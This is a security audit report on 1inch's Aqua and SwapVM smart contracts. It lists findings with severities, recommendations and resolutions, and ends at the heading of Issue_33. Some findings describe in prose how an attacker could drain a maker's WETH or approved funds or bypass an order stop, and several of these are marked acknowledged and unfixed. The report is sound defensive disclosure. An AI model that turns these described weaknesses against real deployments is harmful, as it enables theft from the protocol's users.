BAIL security

1inch
Aqua

FINAL REPORT

May ‘2026

Disclaimer:

Security assessment projects are time-boxed and often reliant on information that may be provided by a client, its affiliates, or its partners. As a result, the findings documented in this report should not be considered a comprehensive list of security issues, flaws, or defects in the target system or codebase.

The content of this assessment is not an investment. The information provided in this report is for general informational purposes only and is not intended as investment, legal, financial, regulatory, or tax advice. The report is based on a limited review of the materials and documentation provided at the time of the audit, and the audit results may not be complete or identify all possible vulnerabilities or issues. The audit is provided on an "as-is," "where-is," and "as-available" basis, and the use of blockchain technology is subject to unknown risks and flaws.

The audit does not constitute an endorsement of any particular project or team, and we make no warranties, expressed or implied, regarding the accuracy, reliability, completeness, or availability of the report, its content, or any associated services or products. We disclaim all warranties, including the implied warranties of merchantability, fitness for a particular purpose, and non-infringement.

We assume no responsibility for any product or service advertised or offered by a third party through the report, any open-source or third-party software, code, libraries, materials, or information linked to, called by, referenced by, or accessible through the report, its content, and the related services and products. We will not be liable for any loss or damages incurred as a result of the use or reliance on the audit report or the smart contract.

The contract owner is responsible for making their own decisions based on the audit report and should seek additional professional advice if needed. The audit firm or individual assumes no liability for any loss or damages incurred as a result of the use or reliance on the audit report or the smart contract. The contract owner agrees to indemnify and hold harmless the audit firm or individual from any and all claims, damages, expenses, or liabilities arising from the use or reliance on the audit report or the smart contract.

By engaging in a smart contract audit, the contract owner acknowledges and agrees to the terms of this disclaimer.

1. Project Details

Important:
Please ensure that the deployed contract matches the source-code of the last commit hash.

Project	1inch - Aqua - Audit Report
Website	1inch.com
Language	Solidity
Methods	Manual Analysis
Github repository	AQUA: https://github.com/1inch/aqua/tree/89cedfa608aa9fdc60d8cd936b76a540e4b9346f SwapVM: https://github.com/1inch/swap-vm/commit/e2de56b7b7c759b04060c3b4535f6e489c09a536 UTILS: github.com/1inch/solidity-utils/tree/38e5f8de705a8821237520ae06f3e9b0d40daf01
Resolution 1	AQUA: https://github.com/1inch/aqua/tree/b51f3b6e3c02fa5208e1429f0f14706b025d9dd6 SwapVM: github.com/1inch/swap-vm/commit/9b9d821eb2f4ed8e2ffa00a4ccb161ca3cef7558 UTILS: https://github.com/1inch/solidity-utils/tree/399012a1128b70c097fd954a336f53d32f4cd3a5

	## Note: The following two PRs have been provided after the first resolution round: (Issue 72: Offset rounding can favor the taker) the diff from commit f6c03ea75e5b1963901b3612e10f3bea3dba7021 (Issue 71: Using invSqrtPspot - invSqrtPmax causes extra precision loss) the diff from commit f8b74774fe33ea705053ede0e276f0bdc1fd2943 **Please note that only the changes introduced from the above commits have been validated - on top of the resolution 1 commit.** **There are additional changes which are not reflected in this report. We recommend a formal "resolution 2" round which is conducted based on a final commit to reflect validation of the full repository.**
Resolution 2	https://github.com/1inch/swap-vm/commit/b2daef83656b1ccbfc1c83d3df869c0ebb60badc

2. Detection Overview

Severity	Found	Resolved	Partially Resolved	Acknowledged (no changes made)	Failed resolution	Open
High	16	12	1	3		
Medium	13	10		3		
Low	30	5		25		
Informational	27	4	1	22		
Governance						
Total	86	31	2	53		

2.1 Detection Definitions

Severity	Description
High	The problem poses a significant threat to the confidentiality of a considerable number of users' sensitive data. It also has the potential to cause severe damage to the client's reputation or result in substantial financial losses for both the client and the affected users.
Medium	While medium level vulnerabilities may not be easy to exploit, they can still have a major impact on the execution of a smart contract. For instance, they may allow public access to critical functions, which could lead to serious consequences.
Low	Poses a very low-level risk to the project or users. Nevertheless the issue should be fixed immediately
Informational	Effects are small and do not post an immediate danger to the project or users
Governance	Governance privileges which can directly result in a loss of funds or other potential undesired behavior

3. Detection

Global

Issue_01	Lack of transfer-tax token compatibility
Severity	**Informational**
Description	This contract is not compatible with transfer-tax tokens. If these token types are used for any purpose within the contract, this will result in down-stream issues and inherently break the accounting.
Recommendations	Consider not using such tokens.
Comments / Resolution	Acknowledged.

Aqua

The Aqua contract is responsible for token allowance storages and push-pull mechanics. It is inherited by the AquaRouter contract and is built on top of the SwapVM architecture.

Users can ship a strategy which simply creates virtual balances for tokens which are tied to a specific strategy hash. Whenever a strategy is not used anymore, the dock function allows to disable the virtual balance mechanism.

The pull function is used by the corresponding "App" which is meant to be the SwapVM architecture and it simply pulls out tokens whenever a swap occurs, while the push function transfers back tokens from the caller and adds them to the virtual reserve.

Privileged Functions

- none

Core Invariants:

INV 1: ship can only be called once for a strategyHash

Issue_02	dock may not always dock all tokens
Severity	**Low**
Description	The dock function has the following check: *require(balance.tokensCount == tokens.length, DockingShouldCloseAllTokens(app, strategyHash));* This gives the idea that the dock function will be closing all the tokens. But this need not be true as tokens can be added to the strategy via multiple invocations of the ship function. This will create multiple sets of tokens and a call to dock will only clear one set at a time.
Recommendations	Consider acknowledging this issue.
Comments / Resolution	Acknowledged.

Issue_03	Empty array within ship/dock will still trigger event emission
Severity	**Informational**
Description	Within the ship/dock function, events are triggered even if the array is empty, which can result in misleading offchain assumptions.
Recommendations	Consider acknowledging this issue.
Comments / Resolution	Acknowledged.

Issue_04	Array length mismatch within ship is not explicitly checked
Severity	**Informational**
Description	The ship function currently loops over all tokens but does not ensure that the corresponding amounts array exposes the same length.
Recommendations	Consider explicitly validating for length equality.
Comments / Resolution	Acknowledged.

Issue_05	dock makes strategy ↔ token setup permanently inaccessible
Severity	**Informational**
Description	Whenever dock is called, it will mark tokensCount for the corresponding tokens as DOCKED: *balance.store(0, _DOCKED);* This will implicitly lock the setting for this token ↔ strategy (ship will not be callable for this token afterwards) and requires a completely new strategy setup if that token is ever attempted to be used with a similar setup.
Recommendations	Consider keeping this in mind and adding NATSPEC for this behavior.
Comments / Resolution	Acknowledged.

AquaApp

The AquaApp is a simple contract which exposes a reentrancy guard and a safe push functionality. It remains unused in the current architecture.

Privileged Functions

- none

No issues found.

AquaRouter

The AquaRouter contract inherits Multicall, Simulator and Aqua and does not expose any additional logic.

Privileged Functions

- none

No issues found.

Balance

The Balance library is a simple helper library which treats the Balance (amount, tokensCount) slot for each token in context of the _balances mapping within Aqua.

Privileged Functions

- none

Issue_06	Aqua/Balance.sol:BalanceLib.store relies incorrectly on the upper bits of amount being clear
Severity	**Low**
Description	Solidity's assembly discipline does not guarantee that values on the stack of types shorter than an entire word have their unused (padding) bits cleared https://docs.soliditylang.org/en/latest/internals/variable_cleanup.html It is the responsibility of the programmer when moving values from the stack into storage, transient storage, or memory to clear those bits.
Recommendations	Clear the upper bits of amount by masking using the AND opcode before writing the resulting OR'd word to storage
Comments / Resolution	Acknowledged.

SwapVM

SwapVM

The SwapVM contract is the core execution and settlement engine of the SwapVM protocol. It takes a maker-defined order (maker address, maker traits, and opaque order data), derives an orderHash, executes the maker's embedded VM program to compute amountIn/amountOut for a requested (tokenIn, tokenOut, amount), validates the resulting trade against maker and taker constraints, and then orchestrates settlement by transferring tokens with optional maker hooks and taker callbacks.

Appendix: Authorization Modes

SwapVM supports two disjoint authorization modes:

- **Signature mode:** orderHash is EIP-712 typed data (_hashTypedDataV4(...) over maker, traits, and keccak256(order.data)). Authorization is the maker signature extracted from taker data, verified via recoverOrIsValidSignature.
- **Aqua mode:** orderHash is keccak256(abi.encode(order)). Authorization comes from the maker's Aqua position/accounting rather than a signature, and settlement uses Aqua pull/push operations keyed by that hash.

Appendix: Aqua Funding Modes

When the maker uses Aqua authorization, SwapVM supports two ways to ensure tokenIn is credited into Aqua:

- Router-performed push
  - The router pulls tokenIn from the taker into itself
  - It approves Aqua for that amount
  - It calls AQUA.push(maker, router, orderHash, tokenIn, amountIn) to credit the maker's Aqua position.
- Pre-push verification
  - The router does not move tokenIn, instead it reads AQUA.rawBalances(maker, router, orderHash, tokenIn) and requires that the balance increased by at least amountIn relative to the pre-execution balance observed earlier.

This split exists to support workflows where the taker (or an integrating system) may fund Aqua before invoking swap(), while still allowing a single-call path where the router handles funding itself.

Appendix: Settlement Mechanics

During swap(), the router settles in two phases (input and output), with optional external calls around each phase:

- Maker hooks (pre/post transfer-in/out) can run around either leg, with hook targets and maker hook data derived from maker traits, and taker hook data derived from taker traits.
- Taker callbacks (pre transfer-in/out) are optional external calls into the taker address, gated by taker traits.

Transfers themselves are executed as:

- transferFrom when not using Aqua
- AQUA.pull / AQUA.push when using Aqua.

If unwrapping is enabled for a leg, the router first transfers/pulls WETH into itself and then withdraws ETH to the final recipient. This is applied symmetrically for maker-side unwrap (input leg, signature mode) and taker-side unwrap (output leg).

Privileged Functions

- none

Core Invariants:

INV 1: orderHash must be locked during swap

INV 2: Signature mode requires balances to be loaded/initialized or XYCConcentrate to build balanceIn/balanceOut

INV 3: Custom receiver is not allowed with Aqua mode

INV 4: unwrapWETH is not allowed within Aqua mode

INV 5: No opcode must modify ctx.query

Issue_07	Read-only reentrancy via quote during hook
Severity	**Low**
Description	Whenever an order is executed, any hook/extruction can be executed, including such hooks that call-back into quote function, which then possibly results in an invalid return state by the quote function. While we could not identify a specific attack-path, most of the time, exploits happen due to arbitrary user inputs or users invoking functions which are not meant to be invoked by users, one can argue that a large user flexibility is a great seed for exploits. Therefore, at BailSec, we are of the opinion that codebases should never provide more user flexibility than necessary during the normal business logic.
Recommendations	Consider implementing a reentrancy lock within the quote function.
Comments / Resolution	Acknowledged. This issue is only marked as low severity because there has not been identified any directional impact. However, we refer to the flexibility explanation in the description above.

Issue_08	Deliberate order execution stop via depleting balances can be bypassed if maker has other open orders
Severity	**Low**
Description	A valid scenario is the temporary order execution stop by a maker via simply removing tokenX/tokenY from the wallet such that transfers revert. If a taker has however another order, which allows for swapping tokenX which is also required for the primary order, a sophisticated taker can execute order B to fill balance of tokenX for the maker to then execute order A which is supposed to be stopped due to deliberate depletion of balance.
Recommendations	This issue is inherent due to the design of the system. If a maker wants to temporarily stop orders, he should implement hooks accordingly.
Comments / Resolution	Acknowledged. This is inherent due to the design.

Issue_09	isFirstTransferFromTaker flexibility may disrupt hook assumptions
Severity	**Low**
Description	The taker can specify isFirstTransferFromTaker which essentially determines whether the taker receives output amount first or provides input amount first. Hooks can be designed with certain assumptions / in certain ways which might be dependent on the transfer direction. Due to this, hook execution assumptions (e.g. preTransferInHook is meant to be executed before preTransferOutHook) can be violated via the isFirstTransferFromTaker flexibility.
Recommendations	Consider either removing such flexibility or incorporate in the maker guideline.
Comments / Resolution	Acknowledged.

Issue_10	Lack of view-only enforcement during quote
Severity	**Low**
Description	The quote function is not marked as view, so Solidity does not enforce that the functions it calls (recursively) do not modify state. We note that this function *is* marked as view in the interface ISwapVM, presumably so that contracts that integrate with SwapVM always STATICCALL the quote function. While we could not identify any specific exploit scenario, most of the time, exploits happen due to arbitrary user inputs or users invoking functions which are not meant to be invoked by users, one can argue that a large user flexibility is a great seed for exploits. Therefore, at BailSec, we are of the opinion that codebases should never provide more user flexibility than necessary during the normal business logic.
Recommendations	Consider marking the quote function as view-only and applying a static-call during quote/extruction. Alternatively, because the internal function pointers in the _opcodes() array are not (and cannot be) view, acknowledge this issue and ***thoroughly*** document this constraint throughout the codebase. Explicitly document the requirement that external contracts use ISwapVM (which marks quote as view) rather than copying the definitions from contract SwapVM itself.
Comments / Resolution	Acknowledged.

Issue_11	shouldUnwrapWeth() usage will result in disconnection between maker's balanceOf and accounting and can be used to DoS a program in one direction
Severity	**Low**
Description	Whenever shouldUnwrapWeth is used, the maker will not receive WETH but instead ETH. In AQUA mode, this is prohibited correctly: *require(!order.traits.shouldUnwrapWeth(), MakerTraitsUnwrapIsIncompatibleWithAqua());* However, in case of signature mode combined with dynamic balances, this is not prohibited and will thus result in a desync between balanceOf from the maker and the actual accounting. An attacker can swap back and forth (just for the cost of fee, if any) to drain the maker out of WETH and thus prevent future swaps that would require the maker to transfer out WETH.
Recommendations	Consider not allowing the shouldUnwrapWeth setting in case of signature mode with dynamic balances.
Comments / Resolution	Acknowledged.

Issue_12	Inconsistency between swap and quote
Severity	**Low**
Description	Due to the fact that the quote function does not actually execute transfers, it can result in a success of the execution while the swap function reverts. This can be amplified if e.g. protocol fee is included and the maker does not own sufficient assets. It can trick off-chain systems into thinking that swaps succeed but whenever the swap is triggered it will revert and thus a repetitive execution might happen.
Recommendations	Consider either acknowledging this issue or following the exact same approach as swap, followed by a force revert at the end of quote.
Comments / Resolution	Acknowledged.

Issue_13	Dynamic balance mechanism with custom receiver does not satisfy swapping invariant
Severity	**Low**
Description	The dynamic balance mechanism requires that funds are actually transferred back and forth to the maker address as the address holding these funds acts like a liquidity pool. In case dynamic balances are tied together with a custom fee receiver, the accounting invariant remains correct but the actual “liquidity pool” aka the maker address does not cover the required amount of funds to align with the swap invariant. Notably, this state is explicitly identified and prohibited during AQUA swapping: *require(order.maker == order.traits.receiver(order.maker), MakerTraitsCustomReceiverIsIncompatibleWithAqua());* But it lacks identification and prevention in the aforementioned scenario.
Recommendations	Consider following the same approach as during AQUA swaps whenever dynamic balances is used, ensuring that the maker always holds sufficient funds to honor the swap invariant.
Comments / Resolution	Acknowledged.

Issue_14	shouldUnwrapWeth flag can be used with token that is not WETH
Severity	**Low**
Description	Currently, there is no such validation that the shouldUnwrapWeth is only ever used with WETH. While we were not able to determine a specific attack-path, most of the time, exploits happen due to arbitrary user inputs or users invoking functions which are not meant to be invoked by users, one can argue that a large user flexibility is a great seed for exploits. Therefore, at BailSec, we are of the opinion that codebases should never provide more user flexibility than necessary during the normal business logic.
Recommendations	Consider implementing validation that protects against that invalid state.
Comments / Resolution	Acknowledged.

Issue_15	Gas-griefing concerns due to hooks
Severity	**Informational**
Description	The SwapVM architecture implements multiple hook mechanisms which are determined by the maker. The possibility exists that a malicious maker points to a proxy target which can switch the implementation and trigger gas-griefing concerns which would then result in the taker to consume an excessive gas amount, while the swap may potentially revert.
Recommendations	Consider acknowledging this behavior.
Comments / Resolution	Acknowledged.

Issue_16	Architecture may be incompatible with router / aggregator contracts
Severity	**Informational**
Description	Currently, the taker/msg.sender of an order execution is tied to callbacks, which means it is incompatible for routers/aggregators for such programs that make use of callbacks into the taker. A note has to be made that taker related hooks are only in context of taker arguments, which means it is not enforced that such hooks are mandatorily executed.
Recommendations	Consider acknowledging this issue.
Comments / Resolution	Acknowledged.

Issue_17	Deadline for fixed price program may not be suitable
Severity	**Informational**
Description	Whenever a program is crafted, the maker can determine a deadline until which the order is executable. If the deadline has passed, the said order cannot be executed anymore. This design (while reasonable) does not always make sense in all specific settings. For example whenever a fixed price program is created (static balances) combined with the signature mode, it can become problematic as takers can execute the program even if the external market price has largely moved which could result in a loss for the maker.
Recommendations	Consider incorporating this scenario into the thought process when creating new programs.
Comments / Resolution	Acknowledged.

Issue_18	Usage of EIP1271 can result in unexpected transfers
Severity	**Informational**
Description	The signature mode uses the ECDSA library which calls into the contract's isValidSignature function (if ever a contract is used as maker). If the isValidSignature function is not properly protected, it can e.g. only check for the owner(s) of the contract and determine using their addresses whether a signature is indeed valid. This can expose two problems: - The owner of the contract can be used as maker - If the owner of this contract owns other contracts, these other contracts can be used as maker This does not expose any critical issue since this program is assumed to be valid anyways. However, if for example a maker wants to opt out from an order that still has time outstanding until the deadline, he can simply deplete this contract from any corresponding tokens. In such a case, the owner might not deplete the own address or corresponding contracts, still allowing for (unexpected) swaps. It has to be noted that tokens need to be explicitly approved to AQUA (by the other contract), which can still be a reasonable expectation if that other contract is running its own program.
Recommendations	Consider highlighting such behavior in the docs for external integrators.
Comments / Resolution	Acknowledged.

Issue_19	Taker can always be forced to full slippage
Severity	**Informational**
Description	Due to the fact that there are multiple hooks and the extruction possibility, a maker essentially has full control over the swap outcome, which can be abused to bring the output value exactly to the minimum expected amount such that the swap passes, which can be a disadvantage for takers.
Recommendations	Consider acknowledging this issue.
Comments / Resolution	Acknowledged.

AquaSwapVMRouter

The AquaSwapVMRouter is the SwapVM execution router that wires together the SwapVM order hashing and settlement choreography, the Aqua-aware authorization and transfer paths and the AquaOpcodes instruction set that defines what maker programs can do. It is the contract that takers actually interact with to quote and execute swaps, while makers supply signed (or Aqua-authorized) orders whose data embeds a VM program.

In itself, this contract does not expose any logic besides tying _opcodes to the _instructions function.

Privileged Functions

- none

Issue_20	Balances are currently not inherited by the router
Severity	**Informational**
Description	Currently, the Balances contract (as instruction) is within the audit scope but not inherited within the router. This is only raised as an informational issue because it is used in other routers, the audit however will still cover the Balances mechanism, as if it would be incorporated.
Recommendations	Consider acknowledging this issue.
Comments / Resolution	Acknowledged.

AquaOpcodes

The AquaOpcodes contract is the opcode registry and instruction bundle for the Aqua-flavored SwapVM router. It defines the router's supported instruction set by assembling a fixed, ordered list of instruction handlers and exposing it as an opcode dispatch table (_opcodes()).

The order of this list is protocol-critical: a maker program encodes opcodes as numeric indices, so the meaning of every bytecode program depends on AquaOpcodes' dispatch ordering.

As a module bundle, it inherits the concrete instruction implementations (Controls, XYCSwap, Concentrate, Decay, Fee, and experimental fee variants), which also brings any state those instructions maintain into the final router's storage layout.

As an opcode table provider, it returns the function(Context, bytes)[] list that the VM uses to dispatch opcodes at runtime.

Appendix: Order Compatibility

SwapVM programs are just bytes; they do not carry metadata about which opcode table they were authored against. That means AquaOpcodes is the canonical definition of program semantics for routers that use it. The explicit rule "add new instructions at the end" is what preserves compatibility: old bytecode continues to map opcode N to the same handler function even as the table grows.

Appendix: No-Op Placeholders

AquaOpcodes includes _notInstruction entries in the dispatch table. Executing such an opcode has these properties:

- it does not modify swap registers
- it does not change the program counter
- it does not trigger external calls

This makes reserved indices safe as padding and enables future expansion without forcing programs to avoid a large swath of "invalid opcode" indices that would otherwise revert on dispatch.

Privileged Functions

- none

Issue_21	Unsupported PeggedSwap and Extruction modules
Severity	**Medium**
Description	Both aforementioned modules are currently not inherited and not supported as opcodes, which makes them unusable with the current implementation.
Recommendations	Consider properly supporting these modules.
Comments / Resolution	Fixed by adding these modules to opcodes.

Issue_22	Programs without Balances/XYCConcentrate can result in approval stealings from maker during signature mode
Severity	**Low**
Description	The SwapVM architecture is not limited to swaps but can also be used for example as a faucet (e.g. anyone that owns a NFT may be allowed to claim a token). This could be for example done via the allowZeroAmountIn flag combined with the Extruction instruction which then for example calculates how much tokens are claimable by a user that owns a specified amount of NFTs or supply from a token. (Note that these might be bypassable). This can then be further combined with hooks that only allow certain takers to execute such a program. In that program, there is no Balances nor XYCConcentrate instruction which means the actual input and output token is not validated at all. If the extruction or hook fails to validate this, an attacker can simply provide any tokenOut address which would then drain funds from the maker (if approved + existing signature mode for this specific order). This issue is only rated as low instead of high severity because it is expected that such a program validates the input and output token.
Recommendations	Consider creating a guideline for makers.
Comments / Resolution	Acknowledged.

Issue_23	Note about future upgradeability
Severity	**Informational**
Description	Currently, the router is not upgradeable and there is a gap-like implementation for opcodes. If in the future, the router is ever made upgradeable and an upgrade happens which modifies the _opcodes function, it can happen that already existing orders suddenly route through different opcodes, if the indexes are changed, which could lead to loss of funds.
Recommendations	Consider keeping this case in mind.
Comments / Resolution	Acknowledged.

Issue_24	FeeExperimental and XYCConcentrateExperimental are not included in the auditing scope
Severity	**Informational**
Description	The FeeExperimental and XYCConcentrateExperimental instructions are included as opcodes but not included within the auditing scope, which poses a significant deployment risk.
Recommendations	Consider removing these opcodes.
Comments / Resolution	Acknowledged. FeeExperimental remains in the opcode table.

Issue_25	Hooks can be influenced by taker arguments
Severity	**Informational**
Description	Currently, taker arguments are forwarded as calldata to hooks: *bytes calldata takerHookData = takerTraits.preTransferInHookData(takerData);* *target.preTransferIn(order.maker, ctx.query.taker, ctx.query.tokenIn, ctx.query.tokenOut, ctx.swap.amountIn, ctx.swap.amountOut, ctx.query.orderHash, makerHookData, takerHookData);* If the maker is not aware of this pattern, it can become a precondition for an exploit as the taker may influence the hook behavior via its provided takerHookData.
Recommendations	Consider including a warning about this behavior for makers.
Comments / Resolution	Acknowledged.

Issue_26	Solidity viaIR compiler pipeline internal function pointer dispatch overhead
Severity	**Informational**
Description	internal function pointers in contracts compiled using the viaIR pipeline (in contrast to the legacy pipeline) are not represented by the address of a JUMPDEST opcode in the contract's code, but are instead represented by an offset into a jump table in the internal function pointer dispatcher which *actually* stores the address of the JUMPDEST opcode. The dispatcher is implicitly generated by the compiler in the presence of one or more internal function pointers. This feature exists to support the future Ethereum Object Format (EOF) container format for EVM smart contracts, which does not allow dynamic jumps. This dispatch table adds considerable gas overhead to invoking an internal function pointer. Additionally, the dispatch table functionality is duplicated with the _opcodes() table.
Recommendations	Consider one of the following: • Acknowledge this issue • Compile the contract with the legacy viaIR=false pipeline • Eliminate the _opcodes() table and represent function pointers by their raw offset into the internal dispatch table
Comments / Resolution	Acknowledged.

VM

The VM contract (ContextLib library) is the bytecode execution engine that SwapVM uses to interpret and run a maker-defined "program" during quote() and swap().

It exists to provide a deterministic, composable execution model where the maker can supply an opcode stream (embedded in order.data) and the router can execute it against a standardized in-memory state (Context) to compute swap amounts and drive higher-level behavior (fees, balance shaping, branching, hooks/callback orchestration via other modules).

VM's scope is intentionally limited to instruction dispatch and control state. It does not validate maker authorization, does not perform token transfers, and does not store per-order accounting. Instead, it:

- keeps a program counter (nextPC) and a pointer to the program bytes
- keeps a pointer to taker-provided instruction arguments
- calls into the router-provided opcode table (an array of internal function pointers)
- returns whatever swap registers the executed instruction sequence produced.

Appendix: Instruction dispatch and program encoding

VM exists to run a compact "program" without embedding per-instruction decoding logic into the runtime. The runtime only understands the framing; each opcode implementation owns its own argument interpretation.

The program is a byte stream of instruction frames:

- opcode (uint8)
- argsLength (uint8)
- args (bytes)

On each step:

1. VM reads opcode and argsLength.
2. It computes nextPC = currentPC + argsLength.
3. It sets ctx.vm.nextPC = nextPC before calling the opcode implementation, establishing fallthrough as the default.
4. It dispatches ctx.vm.opcodes[opcode](ctx, args).

5. It resumes from pc = ctx.vm.nextPC, allowing the instruction to override control flow by writing a different nextPC.

This creates a stable contract between runtime and instructions: the runtime advances and slices, the instruction mutates Context.

Privileged Functions

- none

Issue_27	Nature of instructions allows for creating programs with obviously wrong setups
Severity	**Informational**
Description	During the course of the audit, our goal is to identify issues which are related to reasonable sequences of instructions for a program, such as fees combined with swaps and more. However, it is also obviously possible to craft programs which are highly unreasonable and these programs can: - Revert in their execution - Result in a loss for the maker This is a nature of the design and the 1Inch team should provide careful guidance which instructions should be combined and in which sequence they should be combined. For that purpose, our identified edge-cases should be incorporated into this guidance.
Recommendations	Consider creating such a guidance for makers.
Comments / Resolution	Acknowledged.

Issue_28	Unused variable(s)
Severity	**Informational**
Description	The contract contains one or more variables which are completely unused. This will increase contract size for no reason and can confuse third-party reviewers. *error RunLoopSwapAmountsComputationMissing(uint256 amountIn, uint256 amountOut);* Likewise, the tryChopTakerArgsExcessiveLength error is never triggered due to the min safety check beforehand: *length = Math.min(length, data.length);*
Recommendations	Consider removing or using any unused variable(s)
Comments / Resolution	Resolved.

Issue_29	Stack overflow possibility for complex strategies
Severity	**Informational**
Description	The function ctx.runLoop() is often invoked in the middle of an instruction/opcode so that state can be updated after obtaining the continuation's result/effect. runLoop()'s design is basically a trampoline that translates the SwapVM virtual machine to the EVM, so embedding another "instance" of runLoop() inside an opcode produces powerful (and dangerous) self-referential composability primitives. However, each invocation of runLoop() pushes more values onto the EVM stack. Nested invocation of runLoop() (or potentially even recursive invocations), rapidly consume the 1024 stack elements allowed by the EVM. Recursion also interferes with the compiler's ability to spill local variables to reserved memory, increasing the risk of the dreaded "stack too deep" compiler error. Deeply-nested invocations of runLoop() for complex strategies risk overflowing the EVM stack, causing an out-of-gas (exceptional revert). Because SwapVM is itself a bytecoded virtual machine, analysing worst-case stack depth for complex strategies is challenging.
Recommendations	Acknowledge this issue and add a warning in documentation for makers that complex strategies and recursion should be rigorously analysed for stack consumption
Comments / Resolution	Acknowledged.

MakerTraits

The MakerTraits contract is the maker-side order configuration and parsing module that encodes how a SwapVM order should be executed. It is implemented as a uint256 bitfield (MakerTraits) plus a structured order.data byte blob, and it exists to let SwapVM recover, from a single Order, all maker-defined execution parameters: the receiver of incoming tokens, whether WETH should be unwrapped on receipt, whether the order is authorized via Aqua instead of signatures, and the presence/targets/payloads of maker hooks, as well as the pointer to the VM program bytes.

Appendix: Traits

The following traits are existent:

- SHOULD_UNWRAP_BIT_FLAG
- USE_AQUA_INSTEAD_OF_SIGNATURE_BIT_FLAG
- ALLOW_ZERO_AMOUNT_IN
- HAS_PRE_TRANSFER_IN_HOOK_BIT_FLAG
- HAS_POST_TRANSFER_IN_HOOK_BIT_FLAG
- HAS_PRE_TRANSFER_OUT_HOOK_BIT_FLAG
- HAS_POST_TRANSFER_OUT_HOOK_BIT_FLAG
- PRE_TRANSFER_IN_HOOK_HAS_TARGET
- POST_TRANSFER_IN_HOOK_HAS_TARGET
- PRE_TRANSFER_OUT_HOOK_HAS_TARGET
- POST_TRANSFER_OUT_HOOK_HAS_TARGET

Appendix: MakerTraits bitfield and order.data

MakerTraits stores, in one word:

- Low 160 bits: the receiver address (or zero to mean “maker”)
- High flags: booleans such as “should unwrap,” “use Aqua,” “allow zero input,” and hook presence bits

- Packed slice indices: four uint16 end offsets that partition order.data into:
    - preTransferIn hook slice
    - postTransferIn hook slice
    - preTransferOut hook slice
    - postTransferOut hook slice
    - and finally the program slice as “the remainder”

Getters compute (start, stop) for each slice from these stored offsets and use strict calldata slicing; malformed offsets revert rather than producing partial or overlapping slices

Privileged Functions

- none

Issue_30	Unused variable(s)
Severity	**Informational**
Description	The contract contains one or more variables which are completely unused. This will increase contract size for no reason and can confuse third-party reviewers. *uint256 constant internal ORDER_DATA_SLICES_INDEXES_BIT_MASK = type(uint64).max;*
Recommendations	Consider removing or using any unused variable(s)
Comments / Resolution	Resolved.

Issue_31	tokenIn != tokenOut validation can be bypassed for double entry tokens
Severity	**Informational**
Description	There are certain tokens that share two addresses but treat the actual same token, such as TUSD. For these tokens, the validation can be bypassed.
Recommendations	Consider acknowledging this issue.
Comments / Resolution	Acknowledged.

TakerTraits

The TakerTraits contract is the taker-side execution configuration and calldata packing module that defines how a specific quote() or swap() call should be interpreted and constrained. It is implemented as a compact header (slice indices + flags) followed by a structured takerData tail that can include a signature, per-call thresholds, an output recipient override, an optional deadline, taker-supplied hook data to accompany maker hooks, taker callback payloads, and a dedicated “instruction arguments” segment that VM instructions can consume.

Appendix: TakerTraits header and slice indexing

The first 22 bytes encode:

- ten uint16 cumulative offsets (endpoints) that partition the tail into slices
- followed by a 16-bit flags field

Slice getters compute [start, stop) from these offsets and return exact byte ranges from takerData. The signature slice is defined as “the remainder,” so signatures can be variable-length without affecting earlier slice parsing.

Appendix: Threshold and deadline enforcement

TakerTraits validation enforces constraints after the VM program computes amounts:

- Deadline: if set, block.timestamp must be <= deadline.
- Exact-in threshold:
  - strict: amountOut == threshold
  - non-strict: amountOut >= threshold

- Exact-out threshold:
  - strict: amountIn == threshold
  - non-strict: amountIn <= threshold

This makes threshold enforcement independent of how the maker program arrives at those amounts; it applies uniformly to any pricing logic.

Appendix: Transfer ordering and AQUA push mode

Two flags materially affect settlement choreography:

- Transfer ordering: determines whether the router stages tokenIn movement before tokenOut movement or the reverse. This changes when hooks/callbacks run relative to actual transfers and can be used to support maker programs that rely on a particular settlement sequence.

- Aqua push mode: when the maker order is Aqua-authorized, the router can either:
  - pull tokenIn from the taker and push into Aqua during execution
  - require that the maker's Aqua balance already reflects the taker's push and only verify that the balance increased sufficiently.

Both modes are enforced as part of the router's transfer-in logic, but the selection is encoded in TakerTraits.

Privileged Functions

- none

Issue_32	isStrictThresholdAmount but empty threshold exposes invalid state which is not checked
Severity	**Informational**
Description	The function TakerTraitsLib.threshold(...) determines whether the trait encodes a slippage limit by inspecting the length of the corresponding field. Only if the field is 32 bytes long, is it interpreted as a valid slippage limit and checked. Only if slippage is checked, is the value of the isStrictThresholdAmount flag checked. Setting the isStrictThresholdAmount flag without a valid encoding of the slippage limit is a representable but semantically meaningless configuration. TakerTraitsLib.build does not check that the threshold is nonempty when the isStrictThresholdAmount flag is set
Recommendations	Document this limitation or add the appropriate check to TakerTraitsLib.build. While this does not lead to incorrect behavior it is still a flexibility that should be prevented.
Comments / Resolution	Acknowledged.

Instructions

Balances

The Balances contract is a SwapVM balance-source and balance-accounting instruction module. It provides two ways for a maker program to supply ctx.swap.balanceIn and ctx.swap.balanceOut (the reserves used by downstream pricing instructions), and one of those ways can also persist and evolve balances in storage per orderHash and token. Balances does not move tokens; it only prepares the VM's pricing registers and (in the dynamic mode) updates its internal ledger after the rest of the program computes swap amounts.

Appendix: Dynamic vs. Static

Balances provides two different mechanisms:

- Static balances: only sets ctx.swap.balanceIn/balanceOut for this execution. It does not call ctx.runLoop() and does not touch storage.

- Dynamic balances: loads or initializes reserves, then executes the remainder of the program by calling ctx.runLoop() internally. This makes it a wrapper instruction: when it runs, it effectively takes over execution of the rest of the program and then performs its storage updates at the end. As a consequence, it must appear in the program *before* the instructions it is intended to wrap.

Appendix: Initialization heuristics

Dynamic mode decides whether to load from storage or initialize from provided initial balances based on whether any stored balance among the listed tokens is non-zero:

- If at least one is non-zero, it treats the ledger as initialized and uses the stored values (including zeros) for tokenIn/tokenOut.

- If all are zero, it treats the ledger as uninitialized and uses the provided initial balances; in non-static execution it also writes those initial balances into balances[orderHash][token].

This implies that a fully-drained ledger state (all tracked token balances equal to zero) will be treated the same way as an uninitialized state for that token set, and will cause re-initialization on the next non-static execution using the same argument token list and initial balances.

Privileged Functions

- none

Core Invariants:

INV 1: if loadBalances does not return true, balances must be newly initialized

Issue_33	Reserve fee is not accounted in case of Fee → Balances instruction
Severity	**High**
